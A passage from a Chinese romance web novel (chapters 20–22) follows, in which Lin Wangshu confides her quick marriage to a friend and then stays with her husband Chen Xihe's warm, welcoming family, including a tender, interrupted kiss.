这个半个月来,她们都在忙,林望舒是工作方案和带实习生,陈悦则是工作交接得差不多了,但还需要赶个设计图出来,最近一直没空,在抓紧赶稿。
好姐妹也很久没说点话了,林望舒趁现在陈羲和不在,向陈悦“请教”一下。即使陈悦是个感情经验为零,理论经验十足的人。但瘦死的骆驼也比马大吧。
在陈悦的视角里,林望舒和陈羲和现在还处于“确认关系后的恋爱情侣”这里,林望舒也该跟她更新一下进度了。但终究是瞒着她结婚的,怎么说来都很理亏……
“月月!怎么突然想起来和我打电话了?”
对面的陈悦接起电话,调整了一下手机,放在了水杯前靠着,角度很随意,她还带着眼镜没看镜头,脸上印出投射出的不自然的光线。
这个点了,她还在忙。
“你还在画图吗?很忙吗?”
陈悦没看手机屏幕,但也听出来林望舒的言下之意:要是忙,我下次等你空闲的时候再给你打。
她不甚在意地回:“再忙也能听你说话。”
听到这话,林望舒才放下心来,笑着对她说:“还是你最好了。”
她顺道关心了陈悦好几句,然后感觉心理准备做的差不多了,深呼吸开口说了一句:“我要告诉你一件事,你一定先别激动。”
陈悦转头看她,仔细打量,没发现出什么不对劲,又回头工作去了。
“你还能有什么惊天动地的大事?”
她又不是不知道林望舒,喜欢安于现状,纯正的守旧派,连奶茶都只点一种口味,不管对什么事都是淡淡的,还懒得掺和别人的一切。如果给她三天假期,她能个睡两天半。就这样一个人还能指望她有什么“壮举”?
“我结婚了。”“哦,结婚……等等!谁?你说谁结婚了?”
陈悦眼镜也不戴了,图也不画了,拿起手机直直看过去审视着林望舒。
“我…和陈羲和结婚了。”
林望舒自知理亏声音弱了下来,她换成趴在床上的姿势,用灰白色的被子遮住半张脸。她不动还好,这一连串的姿势,让陈悦彻底看清楚了,她房间的样子。那样陌生、冷清。
“你现在在他家?这么快就同居了?不对,什么时候的事啊,你们不才相亲吗?就闪婚了?”
一连串的问题打的林望舒措手不及,她一一回着:“之前跟你说我和他确定关系的时候就结婚了,结婚过了一周后,我就搬过来住了。就是可能有点冲动去结婚了。”
“我靠!我看他仪表堂堂的以为是个好人呢!怎么还哄骗小姑娘闪婚。人模狗样,金玉其外败絮其中……”陈悦喋喋不休的骂,林望舒怎么都插不上话解释。
殊不知就在这骂声中,房门被打开了。陈羲和抱手在前,刚刚的对话他听得一清二楚。
林望舒终于找到机会插嘴,“不是你想的那样,结婚是我提的。”
知道林望舒这是要跟陈悦坦白了,陈羲和没有偷听别人讲话的癖好。他自己一个人走开去书房坐了坐。
这下换陈悦听林望舒喋喋不休了。
虽然说起来也有点复杂……不过林望舒要从之前医院说起,再到后来思考好了拟的合同。
陈悦的关注点先不是他们结婚这个话题,而是,“你生病什么时候的事?怎么不告诉我。”
“你不是在忙嘛也不在春宜,而且小小的生病输液就好了。”
对面的陈悦渐渐沉默下来。
她知道考林望舒永远都是那个怕麻烦别人的人,甚至太多太多的委屈都一个人往心里咽,再痛也不说……听到这,她第一反应不是生气,而是心疼,她怎么好像总是一个人。一个人吃饭,一个人去医院,又一个人生活。
其实林望舒做的这个选择在某种程度上来说,并非冲动,而是孤身冷寂久了,靠近温暖是人之本能。
“月月……”陈悦有些哽咽,她不知道怎么开口,最后还是故作轻松地说:,“那你以后不要瞒着我了,无论你自己的生活还是你们的婚姻。”
“好。”
两人又说了不少话,林望舒怕耽误陈悦工作,便没在继续聊下去。
摁断电话,她把头埋在被子里,左右转动地蹭蹭,直到热气浮上脸颊。
察觉到陈羲和还没回来,林望舒起身出门往次卧走,那处漆黑一片,唯有路过的书房还亮着灯。
推开门,心里惦念着的人果然在这里。
陈羲和穿着居黑灰色家睡衣,微分碎盖的头发下,隐匿着一张精致的脸,高挺的鼻梁上架着一副金框眼镜,他松散地靠在椅子后背看手里的资料。
“怎么到这里坐着了?还有工作吗?”林望舒还是那个动作,只打开门露出一个脑袋问他。
陈羲和笑着起身,把资料规整的放在桌上,一手摘掉眼镜朝林望舒走来。揉揉她的头,揽着肩把人往回带:“电话打完了?”
林望舒在他怀里如跳脱的兔子,蹦了两下。
“你怎么……偷听我打电话!”
一只炸毛的兔子,伸出一只手撑住陈羲和的胸口,咄咄逼问。
“真的只是回来碰巧听到了,我门都打开了你都没发现。”陈羲和一边说着,一边摸着她发丝顺毛。
林望舒脸颊不自觉地鼓起来,紧紧盯着他准备要个说法。虽然这个样子很可爱,但陈羲和能清晰感知到,她确实不高兴,有些生气了。
鲜活的样子很生动有趣,但无论如何此刻都该正视她的情绪。
陈羲和顺着毛好声好气的解释。
林望舒看他样子不作假,才继续问:“那……你听到了多少?”
“就只听到我被骂了,然后你替我澄清。”他低下头,用自己的头发蹭了蹭林望舒的,低声说:“谢谢你,这么维护我。”
林望舒不好意思地偏过头不看他,手却顺着拉上他的,走到卧室去。嘴里还呢喃几句:“油嘴滑舌……”
陈羲和不置一词,听话地跟着
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一起走。
房间再次陷入黑暗。林望舒平躺着,但没有丝毫睡意,陈羲和也是。
黑暗中他开口:“明天应该就要收拾东西回去了,我爷爷差不多后天回来。”
“嗯嗯。”林望舒本就思索着这些,脑袋空空实在是找不到其他什么词来回复他了。
察觉到旁边人的动静,陈羲和转身环住她的腰把林望舒抱进怀里:“不用紧张,他们不吃人的。”又顿了顿说,“可能会吃兔子。”
林望舒不明所以地“嗯?”了一声。
陈羲和没再给她解释,左手掌住她后脑勺揉揉,轻声说:“好了,别想了,睡觉。”
“哦,晚安。”
……
一觉无梦。
林望舒睡饱醒来旁边依旧没人,也不知道几点,她拿过床头放着的手机才发现没电了。
林望舒懒得再动了,床上实在是太舒服了,她双手伸过头顶,嘴里“咿咿呀呀”地伸懒腰,然后就这么裹着被子在床上滚来滚去,磨磨蹭蹭不起床。
直到一声轻笑传来,打破了林望舒起床的节奏。
她兀地坐起,头发蓬松乱糟糟的耷拉在肩膀上,有些还遮住了眼睛。
发出笑声的那人就坐在床角那头的沙发上……目睹了整个过程。
林望舒气不打一处来,愤愤开口:“你在这干嘛?”
陈羲和放下手中的笔记本电脑,走到床边坐着,帮她理顺头发,缓缓开口:“来叫你起床的。”
发丝终于理好,他又两手托住林望舒的脸说:“但看你睡得太香了,没忍心叫你起来,就坐在这儿等你。”
林望舒捉住陈羲和的手,拿开,羞愤地没有看他,低下头撞进陈羲和怀里,闷闷地说:“哼,我才不信。你就是……就是!觊觎我的美貌!”
“好,是。觊觎你的美貌。”很宠溺的声音。
林望舒更无地自容了。
“你你你……不准说话了!”
吃过早饭,林望舒回到房间收拾东西,准备下午陪陈羲和一起回家。
但还好,陈羲和说家里准备好了她的东西,随便带点自己必要的就行。她挑挑选选半天,一个小包就装好了,等小住回来也不麻烦。
林望舒坐在车上把手机连好充电,顺便放在前面导航。
“陈羲和,我看这附近有商圈,待会陪我去给你爸爸妈妈还有爷爷买点礼物?”林望舒一边看着自己手机导航,一边问陈羲和。
“不用了,我准备好了。”他神情专注的看着前方,双手握着方向盘,游刃有余。
林望舒傻眼,明明昨晚上才答应要过来的,“啊?你什么时候……”
“早上啊,放心。”
好吧,有他在确实很让人放心。
陈宅在城北的别墅区,他们两人现在住在城中心,开车过去还要些时候。林望舒坐在副驾驶,怕陈羲和感觉无聊,一路上和他聊些有的没的。
往常漫长的路程,这次有了她的存在,居然变的如此短暂。
20. 浴室
到了陈家,家里的阿姨来给他们开的院外大门。顺着路开进去,两边都是令人打理好的花圃,不远处还修有檐下亭,绿竹玉树,很闲庭雅致。
陈羲和见林望舒看得认真,给她解释道:“我妈妈喜欢这样,家里装修风格都是按她喜好来的。”
有心思来规划打理这些,她妈妈应该是一个很温柔有耐心的人。
陈羲和想起什么,又说道:“今天陈言臻也在,她可能会缠着你,你不用迁就她。”
“你怎么这么对你妹妹,我看她挺可爱的啊。”
“可爱?那可爱之人必有可恨之处。”转念一想,陈羲和又说,“不过,你和她应该挺玩的来的。”
毕竟都是人菜瘾大的炸毛兔子。
林望舒鼓了鼓脸,她怀疑陈羲和在暗自嘲讽她什么,但她没有证据。就很气!还发泄不出来!
到别墅前停下,陈羲和先一步下车,打开车门接林望舒,牵着她走进。东西就留着其他人拿进来。
进门客厅,三人坐着。看到林望舒时,他们三人都站起身迎了过来。陈羲和再次被排挤在外,原本家庭地位不高的他,在林望舒到来后,估计还要再往后挪挪。
“望舒?”孟惠女士一手掌住她的肩,左看看右看看都是这么满意。忙叫林望舒过来坐着生怕她累着了。
陈怀诃平时倒是不苟言笑的,现在却眼带笑意,坐在孟惠旁边跟林望舒有一句没一句的聊天。
陈言臻则是很有眼力见的给她盛好一杯果子茶,然后站在她哥旁边低声说:“滕今若果然没骗我!我嫂嫂怎么长这么好看啊!”
陈羲和瞥她一眼,把陈言臻推开,拉远距离说:“不看看是谁老婆。”
陈言臻:……又没说不是你老婆,你急什么!
午饭时,陈言臻看着出双入对的两对人,实在忍不住自己孤身一个,直接跑去做了首座那个单人位置。反正爷爷也还没回来。
陈言臻这行动倒是让林望舒惊了一惊,其余三个人倒是没什么意见,仿佛已经习惯了随她去。
看着这其乐融融的一片,林望舒不禁感叹:这样的家庭氛围真的好好啊。
“好好吃饭。”陈羲和的声音打断了林望舒的思绪。他不断给自己夹菜,碗里都堆好几块排骨了。
孟惠看到了,同陈怀诃眼神交流了一下,一脸笑意遮不住:“哎呀,这小子倒是把自己最喜欢的排骨挑给望舒你吃啦。”
原来是他喜欢吃排骨呀,怪不得好几次做饭都做这个,林望舒还以为是每次看她喜欢吃才做的。不过转念想来,自己确实吃的排骨比他多,这人还每次给自己夹一大碗。
“怪不得他排骨做的那么好吃呢!”
听到这话,陈言臻坐不住了:“哥!你经常做吗?”
陈羲和点头,“嗯”了一声。
“你太过分了!上次我说要吃,你还不给我做!说自己手生!”陈言臻气不打一处来,把筷子放好,抱胸在前,眼神直直看着陈羲和。
“有吗?”
“有有有!”
“哦,可能是给你做,比较手生。”言下之意就是,给自己老婆做就不会。
林望舒也听出来他的意思了,手在桌子下,轻轻拉了拉他衣服,示意他不要再讲了。
“他肯定因为是怕自己好久没做了做不好,才拿我来练手的!”林望舒出来打圆场道。
陈言臻当然不会因为这个真的生气,在看到林望舒这么安慰,自己也确实好受了很多,反正她哥挤兑她不是一天两天的了。
心里又对嫂嫂的好感增加了不少,人真好啊,怎么就被自己哥哥给拱了。
“别欺负臻臻。”不怎么开口的陈怀诃也出来“教训”陈羲和了。
林望舒忍着笑低头,尽量放低自己的存在感。但陈羲和的视线一直在她身上这一点动作自然没错过。
他随意点点头回答陈怀诃,还是那副敷衍的样子。手却不安分握住林望舒的不让她动弹挣脱,好像以此惩罚她嘲笑自己一样。
孟惠和陈怀诃倒是一直对林望舒很满意。还看她太瘦了一直夹菜给她吃。时不时说几句话:“不满意陈羲和一定要跟我们说。”
又没好气的嘱咐陈羲和:“你们两个人过好自己的日子最重要!夫妻俩不要有隔夜仇。有时候有矛盾好好沟通,听见没,陈羲和。”
林望舒莫名感到,在他们眼里陈羲和就好像一直没人要似的,看他好不容易结婚,太难得了,深怕她一个不满意跑了,他就没人要了一般。
“我知道的,我一定好好待她。”
陈羲和神情正色了很多说道。他心想,不是她的话,我不会选择结婚。
林望舒回看他,莞尔,“我们会的。”
一顿饭吃的有说有笑,当然笑的是其他人,不是陈羲和。
陈言臻带着林望舒去院外走走。静谧夜色,空空的院落却不让人害怕。清亮的檐下灯,铺洒下柔和的光。环境清幽,时不时还有养着的鸟叽叽喳喳地叫,和树林里的蝉鸣起起伏伏错落有致。
朝外走着,略过一盏盏灯,把她们两个的背影拉的很长。
“嫂嫂,你当初是怎么答应和我哥结婚的啊?”陈言臻挽着林望舒的手,问出了一直困扰她的问题。
毕竟以她对陈羲和的了解,他并不是个会闪婚的人。
“你叫我望舒就好。”
她知道陈言臻也才二十二岁,没比自己小多少。
林望舒斟酌了一下措辞:“其实也没什么……就…结婚是我提的。”
话一说完,陈言臻震惊地长大嘴巴,佩服的说道:“居然是你提的!他就这么答应了呀?”
算是答应了吗?应该算吧。不仅如此还给了她反悔的机会……
“他……第一次见面就说过,来相亲是奔着结婚来的。”
陈言臻实在不直知道说什么了。
我靠啊啊啊,陈羲和就这么勾.引人呢!老狐狸一个,第一次见面就说想和别人结婚!素了几十年的人,迎来春天就是不一样。
“虽然我经常和我哥唱反调吧,但不得不说他真真正正是个很好的人。即使我爸妈催过他结婚,但是我哥这个人
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吧,没人能逼他做不想做的事情。”陈言臻恢复正经,模样认真的说。
“所以,他当初答应去相亲,一定是真的很想认识你!他就是性子比较冷,可能有些时候不喜欢把所有事情说出来。那么当时,他肯定是确认过自己真的很喜欢你,很想和你结婚,才会对你开那样的口。”
“而且,我还是第一次见他这个眼神看人,你在他眼中确实和其他人很不一样。我就希望你们能一直好好的。”
听陈言臻这么说着,林望舒还是有点不敢相信。
陈羲和那么优秀的一个人,看起来对什么事情都游刃有余,胸有成竹的样子,又会喜欢自己什么呢……她没问过,她也不知道陈羲和是怎么想的。
但是林望舒不想让这么个问题困在他们之间。毕竟有些事情的确说不清楚,就像那晚她又怎么会有冲动结婚的想法一样。
听别人说陈羲和是个很好的人。她是信的。但林望舒更愿相信自己看到的。
是个好人和对人好终归是不一样的。就算是很好很好的人,但也不一定适合她,不过好在他们未来还有很长的时间,去解出这个问题的答案。
“我相信他,也相信我们。”
……
林望舒和陈羲和就一起住在陈羲和以前的房间。
衣帽间除了陈羲和的西装衬衫外,孟惠还特地给她备了不少的衣服,就连睡裙都是好几件。
走进浴室,林望舒发现洗发露和沐浴露都是她常用的牌子。
他们家人都细心到这个地步了吗?确实很让林望舒意外。
陈羲和没回来,还在书房和他父亲聊工作。林望舒看着时间也差不多了,拿起床头的手机给他发完消息就去浴室洗澡了。
陈羲和收到消息已是十七分钟后了。
老婆:【你什么时候回来呀?】
后面还配一个卡通小狗蹲在地上画圈圈的表情包。
看起来就……怪可怜的。
摁灭手机,陈羲和火急火燎地回到房间,才发现给他发完消息的人还待在浴室没出来。
行吧,看来也没有很想我。
陈羲和就这么坐在床上等她。发呆。
是以林望舒一出浴室门就看到一尊“望妻石”坐在那。
他本来呆滞看着浴室门,见她出来,视线渐渐聚焦,目光落在她身上,炽烈灼目。
“我怎么了吗?还是你怎么了?”
陈羲和不说话了,不自在偏头扯了扯领带,落下一句“我也去洗澡了”后,就拿好衣服进了浴室。
林望舒不明所以,他怎么怪怪的。
又过了好一会儿,陈羲和还没出来。
他今天洗澡的时间格外的久了,也不知道他怎么了,分明可以听到他的动静的。
“陈羲和,你……”
林望舒还没说完就被突然的开门声打断。
陈羲和带着一身水汽出来,头发还是湿润润的,往下滴水,落在他锁骨,往下打湿了睡衣前胸的一片。布料紧贴在他身上,轮廓清晰,伴随着他的呼吸微微起伏。
21. 吻
之前早晨,陈羲和穿运动装跑完步回来时林望舒是见过的。他是标准的薄肌,轮廓清晰,肩宽腰窄典型的倒三角,看起来就很有性张力,现在这样的肌肉不会另反感,反而有些诱人。
林望舒脸颊又不自觉地红了,她在心里暗骂自己怎么这么不争气!况且他们明明是合法关系!不就是看一下紧贴的衣服嘛,能怎么,就算看裸.体也合乎情理!
陈羲和也愣住了,一出门就看见了她,而且林望舒现在是坐在他刚刚的位置。
她在等我。
一想到这儿,陈羲和心里雀跃了不少,勾唇一笑,上前揽过林望舒,玩味看她:“怎么?很好看?目不转睛盯着我。”
林望舒点点头,还是舍不得移开眼似的看着他,呆呆愣愣地说:“嗯!好看!”
她说得脸不红心不跳,反倒让陈羲和这个去调.戏的人不好意思了。
林望舒总是这样,不动声色地反将他一局,偏偏又呆着个样子让人不好去责怪追究,自己却只能吃瘪。
陈羲和松开了林望舒,笑着走到一旁准备吹头发。
林望舒看他坐在床头拿出吹风机就要开始,忽而想起自己好几次头发都是他帮忙吹的。她小碎步一点点踱过去问陈羲和:“我帮你吹?”
虽说是在问,但话里话间意思很明显,况且林望舒还把手里的吹风机拿走了。
陈羲和终于抬眼看她了,轻轻嗯了一声答应。
他头发茂密不算很长,但洗完垂下来刚好到眼帘,显得很乖顺。林望舒爬上床去跪在陈羲和背后直起身,先给他吹后脑勺处的头发。
嗡嗡嗡。暖风熏得沉醉,感受到林望舒的手窸窸窣窣在后面动作着,偶尔有热气吹到脖颈。
陈羲和想,这热气里会不会有那么一丝是她的气息,又被自己的想法荒唐到好笑,垂了垂头。
林望舒连忙关掉吹风机,担心地从后面趴在他肩上,凑近他耳朵问:“是太近了很烫吗?”
她显然没意识到自己什么动作。
半个身体靠在了陈羲和身上,凑近说话呼吸感受明显,热气全部喷洒到陈羲和耳廓。林望舒身上玫瑰花沐浴露的气味,也顺着两人靠近的动作,弥散开来。
陈羲和彻底沾染上她的味道。
“后面吹干了,换前面吧。”陈羲和强装镇定,声音却比平时哑了些。
林望舒没察觉,下床走到陈羲和前面,继续给他吹头发。
但……陈羲和却有点受不了了,现在比刚刚更糟糕。
面前就是林望舒起伏有致的身体,他坐着时平视过去正好是她胸前……况且,今晚的她也变得很不一样了。
不像她之前那些比较卡通幼稚的睡衣,今天这件更清凉一点。她白皙的双臂就这样露在外面,晃动惹眼。陈羲和强迫着转移视线,入目又是起伏的软绵之处。
他生平第一次觉得自己如此“无地自容”。
气温逐渐升高,他耳垂也泛红,还好林望舒专注认真没有觉察到。
给陈羲和吹干头发,看着他头发柔顺蓬松,毛茸茸的一个,林望舒起了点逗趣的心思。她放下吹风机,两只手放在了他脑袋上,揉了揉。
他发质比自己的硬,但却不扎手很舒服。林望舒又情不自禁,多揉了几下,还不想停。陈羲和就像只乖顺的小狗一样。
陈羲和本就难耐的心,经林望舒这么一撩.拨,更乱了。
他深吸一口气,抬起手将林望舒胡作非为的双手反剪在她身后,一只手就能锢好她两个手腕。另一只手则不安分的顺着林望舒腰线上移,按在她腰窝。
林望舒身体发软的向前一倒,下一秒,林望舒感觉胸前磕到了什么东西,陈羲和抬头紧紧盯着她,不错过任何一个表情,正好和她接了个满怀。
她垂眼看,发现是陈羲和的下巴。
此刻他们两个人紧紧相靠。空气黏黏糊糊,陈羲和的呼气毫不顾忌喷洒在林望舒裸.露的肌肤上,使她本就泛起战栗的身体更软了。
眼瞧着林望舒要站不住了,陈羲和松开她的手,抄起她的腿,把林望舒抱坐在怀里,低下头,额头靠近。
林望舒身体发软,乍然被这个动作一惊,只好牢牢挽住身前人的脖子。呼吸也变得急促起来,比起她的,陈羲和要更为明显些。
他整个身体滚烫,两人皮肤相贴的地方灼烧着,他就着这个姿势牢牢抱紧自己,像是要将人揉进怀里。
他的脸轻轻蹭着她的,一点点磨,一点点移。
林望舒感觉整个人都要烧起来了。
他终于靠近了许多,鼻尖对着鼻尖,唇齿相距不足一厘米。陈羲和再蹭着靠近……感受着林望舒,终于吻上了她的唇瓣。
她唇形圆润饱满,唇珠凸起一小点,让人忍不住采撷。
陈羲和先是轻轻从唇角,再逐渐上移吻到唇珠,来回磨蹭。感受着她柔软的唇,浅尝辄止。
林望舒双手环住陈羲和脖颈,迟钝的感受着他的动作,不知道该做出什么回应,脑袋晕乎乎地,缺氧但又不会换气,脸颊红透了。
就在陈羲和手掌托住林望舒后脑勺,准备吻的更深入的时候,门被叩响,打乱室内旖旎风光。
林望舒这才像回过神来,错开了脸颊埋在他颈肩。声音哑哑地说:“你去开门。”
陈羲和强迫着自己从情.欲这抽离,把林望舒抱着放在床上盖好被子,快速去厕所洗了把脸清醒一下,才走去门口。
接吻被打断,陈羲和微微皱眉,有些烦躁地打开房门。
是陈言臻。好了,更气了。
他倚在门边的柜子上,毫不留情地对陈言臻说:“你最好有事。”
陈羲和语气不善,陈言臻自然感受出来了。心中暗骂,到底谁又惹他了。
她自然不会觉得是自己,毕竟现在她是来关心他们的。
“呐,给你们带的牛奶。我刚去厨房热的呢!趁热喝。”
陈羲和面无表情接过两个玻璃杯,“半夜别随便敲门。”他往里走走才回头对陈言臻说,“走时候把门带一下。”
陈言臻:?
又愣神几秒,她突然反应过来。刚刚陈羲和眼角泛红,只是背着光,
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隐匿在黑暗中有点看不清,看到他脸上的水渍本以为刚洗完脸才这样。但是……从他刚刚的反应来看,好像不是这样……
她长期待在国外,耳濡目染下看到的人更不拘小节一点,料是陈言臻这种没谈过恋爱的人也知道。刚刚哥哥嫂嫂正在亲密,自己坏事了。
完蛋了!她不会被陈羲和给刀了吧!
战战兢兢走了回去,只希望林望舒可以维护她一点了。
氛围被打搅,两人现在共处一室,不知所措。
林望舒终于从被子里坐起身来,她蜷起腿靠在床头,把被子抬高遮住自己整个身体去,只露出脸来。
“臻臻热的牛奶。”
林望舒艰难的从被子里伸出一只手。
玻璃杯不大,不管怎么样都会碰到陈羲和的手,还是那么烫。
她小口小口喝不发出声响,企图降低存在感。方一喝完就躺下准备睡觉。
没一会,左边床铺微微下陷,陈羲和也上床了。
他关掉了室内的灯,黑暗中,两颗还是无法平静的心怦怦跳。
这个氛围也太奇怪了,她觉得两个人都无法立马入睡,就这样躺在床上不说话,有点尴尬。
林望舒打破沉默,“这个牛奶还挺好喝的。”
没话找话,无厘头的一句,说完她自己也发现,但没想到陈羲和会回复。
“你喜欢?那我让人在我们家里买点备着。”
得到回复,林望舒又感觉自己行了,继续找点话题聊。
“妹妹小名叫臻臻?那你的呢?”
刚才他们讲话,林望舒听得一清二楚。是叫陈言臻“臻臻”的。
没等到他回复,林望舒继续道:“和和?还是阿和?”
“都不是。”陈羲和微不可察地叹了一口气,给林望舒掖了掖被子,又补了一句,“好好睡觉。”
“哦。”
感觉睡在一个陌生的床上很不习惯,林望舒翻来覆去地没睡着,总感觉少了点什么一样。
睁开眼盯着天花板,回想她和陈羲和两个在一起的点滴,她终于想起这一点点的不习惯源自哪了。
以往这么久以来,每天晚上陈羲和都是抱着她睡的。他怀抱很舒服,开着空调也不会很热,暖和得很想让人靠近。
但今晚没有抱她。
胡思乱想着:不会是亲到了就腻了吧,晚上睡觉连拥抱都没有了。
她侧过身看陈羲和。
对方平躺在床上,双手放在外面搭在两旁,但从他呼吸声来看,应该是没睡着的。
“陈羲和,你今晚睡觉怎么不抱我啊。”
他沉沉目光看过来,眼里墨色不清,声音也是前所未有的低哑:“林望舒,你再说话今晚可以不用睡了。”
本能地,她察觉到陈羲和危险的气息,马上闭上眼睛睡觉,身体缩在被窝里,一动不动。
放松神经,没一会儿就睡了过去,只是有点觉浅,大半夜迷迷糊糊醒来发现陈羲和不在身边,浴室的灯反而亮起了微光,但她实在太困,没清醒多久又闭上了眼睛。
22. 酸涩
朦朦胧胧中,林望舒听到了自己的闹铃声,她伸着手往床头摸去,也就几秒钟时间,声音停止了。
林望舒就像被摁了关机键,继续裹着被子睡觉。
长久安静,也不知道是不是先前被吵醒了一次的缘故,她感觉睡得没有很踏实。意识渐渐清晰,林望舒躺在床上闭目不想起,慢慢磨掉起床气,才睁开眼。
面前墨黑色一片,视线抬起往上。
是白净的锁骨,□□的喉结。
陈羲和还沉沉睡在床上。这是这么久以来,林望舒第一次起床发现他还在。
明明昨晚两人之间还隔着两个手臂的距离,但现在她居然被他抱在了怀里。也不知道是自己睡觉不老实还是……
隔的太近,就连呼吸都仿佛受到限制,有点闷闷的了,林望舒动了动想逃离开。
她抬起胳膊撑在床上,往上挪挪,然后轻轻抬起陈羲和环在她腰上的手。才将将碰到,他的手便动了一下,旁边的人发出轻哼,跟着抬了抬胳膊,却把她抱得更紧了。
林望舒一个紧张,闭上双眼装睡。
救命,我为什么要闭眼啊,明明没做什么亏心事,但她心里就是很没底。
但陈羲和就动了那一下又归于平静了。
林望舒又等了一会儿,慢慢使身体放松,悄悄睁开一只眼偷瞄,结果往上一看,就对上了陈羲和眼含笑意的一双眼。
被抓包了。
她气得鼓起脸来,把头埋在陈羲和怀里,还用劲地撞了撞他胸口,宣誓不满,却不满足似的,握起拳头砸了砸他肩膀。
烦死了陈羲和!又逗我!
饶是早晨正是手没什么劲的时候,林望舒打人也很痛,用了十成十的力气。
“疼,怎么一早起来就打人?起床气还没消啊?”陈羲和佯装肩膀作痛,对林望舒说。
“哼,你自己知道!”
没再偷懒,林望舒想着今天是在陈家还是住的第一天,不好赖床。她拿起手机,准备去洗手间洗漱。
手机打开那一秒,林望舒仿佛要石化了。
上面赫然写着,10:12。
怎么十点了,我不是定了九点的闹钟吗?
林望舒僵住在原地,不敢置信地看向陈羲和:“你关了我的闹钟怎么不叫我起床!我怎么起这么晚啊!”
“我跟爸妈说了,不用担心。”
这是担不担心的问题吗!第一天,来见家长的第一天就睡懒觉。
毁灭吧。
林望舒拖着绝望的身体去了洗手间。
……
想着林望舒还没吃饭,孟惠一直让厨房里给她备着吃的怕她饿了。
本来孟惠和林望舒打完招呼就想过来叮嘱她吃饭的,结果被陈羲和拉她在一旁说:“你在她没办法专心吃饭。”
孟惠想了想确实是这样,也没再坚持。
想着待会还要吃午饭,林望舒只拿了一小块面包和一杯牛奶,正吃着恰好看到了才下楼的陈言臻。
她显然还没睡够,打着哈欠坐到饭桌来。整个陈家没吃早饭的,估计就她们俩人了。
林望舒同她打了招呼,陈言臻顺势坐在林望舒旁边,也不顾她哥在另一边。
“果然这是我们年轻人的作息啊!不像他们起这么早呢。”
然后自顾自地开始吃东西了。心大的完全没发现陈羲和的黑脸。
林望舒夹在他们中间,两难的想着打圆场:“但我,其实很羡慕那种作息很健康的,肯定身体好还不容易生病。”
她又对陈羲和说:“要不明天之后我早上和你一起去跑步吧。”
陈言臻简直佩服。还是林望舒厉害,居然还打算和陈羲和一起健身。
陈羲和挑眉打量她,仿佛在确认她话语的真假:“真的?”
“真的!”
虽然说这话的出发点是打圆场吧,但是林望舒确实觉得自己该调整作息了。
陈羲和整个人就作息规律,生物钟也正常,身体看起来也挺好的,她可不想再生病了。
“不是有起床气?起得来吗?”
“我肯定可以!”
只要确定这件事必要做的,不管多么难受,林望舒都会强迫自己按计划行驶,不过就是……可能起床气大了点。
但陈羲和肯定不会介意!对!嗯!
“好啊。”
就这样,陈羲和包揽了林望舒的“健康计划”。
陈言臻咬着面包沉默看着有说有笑的两人。只想快点吃完,不要再在这儿当电灯泡了。
原来谈恋爱的人是这样的……呜呜呜,我也想像这样。然后继续一口一口咬着干涩的面包。
大早上的真烦人。
早上家里两个人吃得晚,孟惠特地把午餐时间推迟了。林望舒还有点不好意思,自己赖床还要让大家来迁就她。
看出她的羞愧,陈羲和轻拍她后背,低头和她咬耳朵:“别多想,除了你不还有个人起得晚。”
就在站在他们身旁,被莫名其妙提到的陈言臻不可置信地回头,葡萄大的眼睛滴溜的转乎,瞪了瞪陈羲和,却敢怒不敢言。心想,陈羲和你等着!
目睹一切的林望舒,左看看右看看,觉得他们有意思极了,从小就这么打打闹闹,肯定很好玩。
但同时心里也泛起一点莫名的酸涩来。陈羲和可以对着自己的妹妹,家人这样玩笑,在她面前,陈羲和是不会这样的。同她相处的时候总感觉挺有包袱的,没有他在家里这样自在,总感觉两人之间隔着什么。
她好像很难融入他长大的环境。林望舒把心思隐匿在背后,自己终究和他的家人不一样。
这也是林望舒这么久以来,第一次感受到他们之间的“距离感”。精神上的鸿沟好像很难跨越……昨晚回答“我相信”的那个林望舒,好像悄悄躲藏起来了,只留下以前这个不自信的她。
午饭的主角自然还是林望舒。
这次林望舒还是被不断夹菜,孟惠说她早上吃的少,肯定饿了,中午要多吃一点。不一会面前的碗又堆成小山了。
林望舒看着满满一碗的饭菜,犯起难来,不好拒绝,可她真的吃不下啊。
趁着饭桌上他们聊天,林望舒偷偷拉着陈羲和袖子,低语:“我吃不完,你帮帮我。”
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其实是很正常的语气,但她现在说话声音很小,仿佛在耳旁挠痒痒,怪像撒娇的。
陈羲和起了点逗弄的心思。他点点她鼻尖,玩味地看着林望舒:“可以是可以,但是你得你求求我。”
——但你得求求我。
林望舒简直要被他的不要脸惊掉下巴了!
他怎么这么可恶啊!
果然臻臻还是脾气太好了,能忍他这么多年,林望舒此时此刻不能再的共情了陈言臻。
“我开玩笑的,帮你吃。”
说完把她把碗里的菜挑走了些,留下一下肉菜。帮吃是可以,但他还是觉得林望舒可以多吃一点长长肉。
虽然其实林望舒身材很匀称,错落有致。没有瘦到骨头都很明显的那种“病态感”,反而苗条健康,脸颊还有点肉感。但只单从外表看她总会觉得她瘦瘦小小的。
陈羲和现在也还是这样看待的,对她说:“多吃点肉长长。”
林望舒内心反驳道:也没有很瘦!
但她又怕陈羲和不帮他吃碗里的菜了,只能闷闷点头吃起肉来。
林望舒:人在屋檐下,不得不低头。QAQ
这边新婚夫妻打闹着,其他人也没错过。陈言臻一脸姨母笑的看着他们,顿时觉得饭菜都香了不少,开始美美幻想恋爱;孟惠看着他们你来我往,也对视着笑笑靠在了陈怀诃身上。
下午家里,陈羲和和陈怀诃商量着去机场接陈老爷子。而孟惠陈言臻则带着林望舒出门逛街去了。
*
“望舒,你看看这件喜不喜欢?”
“嫂嫂皮肤白,穿这个红色肯定好看!”
“这个也不错,掐腰流苏的设计,去试试?”
“我也觉得,嫂嫂个子挺高的,穿起来肯定修身!”
“这个怎么样?”
“很衬嫂嫂啊!”
……
“望舒”
“嫂嫂”
林望舒就在孟惠和陈言臻的声音中一件件试衣服……
你们陈家人怎么都这样啊……这么喜欢玩换装游戏吗!
陈言臻倒是早已习惯她母亲这个样子。除了帮忙给林望舒选,还给自己挑挑选选了不少衣服去试。
和陈羲和如出一辙地,试过的好看的衣服,孟惠绝不手软,都买了下来,付款后留下地址,就又带着她们两个继续奔赴下一家店。
最后在林望舒一声一声的,“阿姨真的够了,陈羲和也买了很多衣服”后,孟惠终于停止了让林望舒再试衣服。
孟惠犹豫着问出一个问题:“望舒啊,你和…羲和两个打算什么时候办婚礼呢?”
“我们商量过。因为现在我们工作都很忙,初定的是明年上半年,那个时候应该没有很忙了,正好也可以慢慢准备。”
明年去了啊……那我还要听几个月的“阿姨”了。哎也不知道改口费多准备两份行吗,先给望舒一次,好早点改口啊。
